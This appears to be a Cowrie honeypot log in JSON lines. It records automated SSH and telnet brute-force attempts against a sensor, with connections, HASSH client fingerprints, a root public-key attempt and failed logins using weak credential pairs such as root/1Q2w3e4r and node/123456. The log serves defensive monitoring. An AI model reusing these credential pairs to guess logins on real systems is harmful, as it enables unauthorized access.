{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:56.895876Z","src_ip":"192.109.200.237","session":"3e25fd9234b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1ed29cbac9","protocol":"telnet","message":"New connection: 152.42.224.71:34178 (10.17.0.5:23) [session: 7a1ed29cbac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:56.925962Z"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:57.145506Z","src_ip":"192.109.200.237","session":"3e25fd9234b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.47359108924866,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:58.068206Z","src_ip":"152.42.224.71","session":"52eaa72388d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:58.230385Z","src_ip":"192.109.200.237","session":"3e25fd9234b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81cf7d3a670","protocol":"telnet","message":"New connection: 152.42.224.71:34180 (10.17.0.5:23) [session: d81cf7d3a670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:59.773424Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42738,"dst_ip":"159.203.135.109","dst_port":22,"session":"d03ece4c4772","protocol":"ssh","message":"New connection: 192.109.200.237:42738 (159.203.135.109:22) [session: d03ece4c4772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:00.148653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:00.154335Z","src_ip":"192.109.200.237","session":"d03ece4c4772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:00.236910Z","src_ip":"192.109.200.237","session":"d03ece4c4772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:00.683440Z","src_ip":"192.109.200.237","session":"d03ece4c4772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:01.772093Z","src_ip":"192.109.200.237","session":"d03ece4c4772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.75961089134216,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:02.043198Z","src_ip":"152.42.224.71","session":"8b46fbdb36b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"d962dbbfef66","protocol":"ssh","message":"New connection: 192.109.200.237:42774 (159.203.135.109:22) [session: d962dbbfef66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:03.737611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:03.748611Z","src_ip":"192.109.200.237","session":"d962dbbfef66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:03.843776Z","src_ip":"192.109.200.237","session":"d962dbbfef66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:04.125308Z","src_ip":"192.109.200.237","session":"d962dbbfef66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:05.295808Z","src_ip":"192.109.200.237","session":"d962dbbfef66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.858574867248535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:06.557252Z","src_ip":"209.127.178.212","session":"812cd4a7080c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42792,"dst_ip":"159.203.135.109","dst_port":22,"session":"c22c5bd727f5","protocol":"ssh","message":"New connection: 192.109.200.237:42792 (159.203.135.109:22) [session: c22c5bd727f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:07.039542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:07.046049Z","src_ip":"192.109.200.237","session":"c22c5bd727f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:07.131880Z","src_ip":"192.109.200.237","session":"c22c5bd727f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:07.388688Z","src_ip":"192.109.200.237","session":"c22c5bd727f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:08.478696Z","src_ip":"192.109.200.237","session":"c22c5bd727f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c1fb8d17da","protocol":"ssh","message":"New connection: 192.109.200.237:37138 (159.203.135.109:22) [session: b7c1fb8d17da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:10.465298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:10.478582Z","src_ip":"192.109.200.237","session":"b7c1fb8d17da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:10.568380Z","src_ip":"192.109.200.237","session":"b7c1fb8d17da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:10.826998Z","src_ip":"192.109.200.237","session":"b7c1fb8d17da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13463306427002,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:11.631381Z","src_ip":"209.127.178.212","session":"ba0be9aabf32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.82456588745117,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:11.805950Z","src_ip":"152.42.224.71","session":"2d9b3e3207b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:11.913318Z","src_ip":"192.109.200.237","session":"b7c1fb8d17da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":36542,"dst_ip":"159.203.135.109","dst_port":23,"session":"91603428e2bf","protocol":"telnet","message":"New connection: 209.127.178.212:36542 (159.203.135.109:23) [session: 91603428e2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:12.707509Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37154,"dst_ip":"159.203.135.109","dst_port":22,"session":"4581f02d9d8d","protocol":"ssh","message":"New connection: 192.109.200.237:37154 (159.203.135.109:22) [session: 4581f02d9d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:13.721522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:13.734249Z","src_ip":"192.109.200.237","session":"4581f02d9d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:13.819972Z","src_ip":"192.109.200.237","session":"4581f02d9d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:14.076989Z","src_ip":"192.109.200.237","session":"4581f02d9d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":37160,"dst_ip":"10.17.0.5","dst_port":22,"session":"afa042007a69","protocol":"ssh","message":"New connection: 108.181.2.243:37160 (10.17.0.5:22) [session: afa042007a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.025207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.042369Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.125712Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.162112Z","src_ip":"192.109.200.237","session":"4581f02d9d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.532108068466187,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.457937Z","src_ip":"152.42.224.71","session":"7a1ed29cbac9","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:39:88:c4:3f:47:00:e4:72:e2:40:09:aa:55:05:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUy6abveysKBVLAXIbLsqhJ+YfbTopz5QUkdddUtnpW/XOb5by4TTqpKMWNuF/McH1gD7jYSNK9HYkuWdCfujnaITyUhVc6XP+rjXZFseO6d0thGsCRWBQObSz9+J1CnloeCbOURdXCoi6d0aAzGzfgsHe5/BuX3Iev3YbA7bl4d1Udi9BO/m3vVLutcGqZHKwwMV5PJOB3T/KvWlltF809GOlU8+O/9QNXjJ6i1UEb33wlQLHpu305j0DZp9U0yA8hRajxVYV80zNxKHOGXyzfLIZhBnBuKImboUMbXIVH61RJeAmCCINwufrn8uNq91Oq9Bpz0zROSq+uL0bnga/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:39:88:c4:3f:47:00:e4:72:e2:40:09:aa:55:05:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.477461Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:39:88:c4:3f:47:00:e4:72:e2:40:09:aa:55:05:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUy6abveysKBVLAXIbLsqhJ+YfbTopz5QUkdddUtnpW/XOb5by4TTqpKMWNuF/McH1gD7jYSNK9HYkuWdCfujnaITyUhVc6XP+rjXZFseO6d0thGsCRWBQObSz9+J1CnloeCbOURdXCoi6d0aAzGzfgsHe5/BuX3Iev3YbA7bl4d1Udi9BO/m3vVLutcGqZHKwwMV5PJOB3T/KvWlltF809GOlU8+O/9QNXjJ6i1UEb33wlQLHpu305j0DZp9U0yA8hRajxVYV80zNxKHOGXyzfLIZhBnBuKImboUMbXIVH61RJeAmCCINwufrn8uNq91Oq9Bpz0zROSq+uL0bnga/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:15.484971Z","src_ip":"108.181.2.243","session":"afa042007a69","protocol":"ssh"}
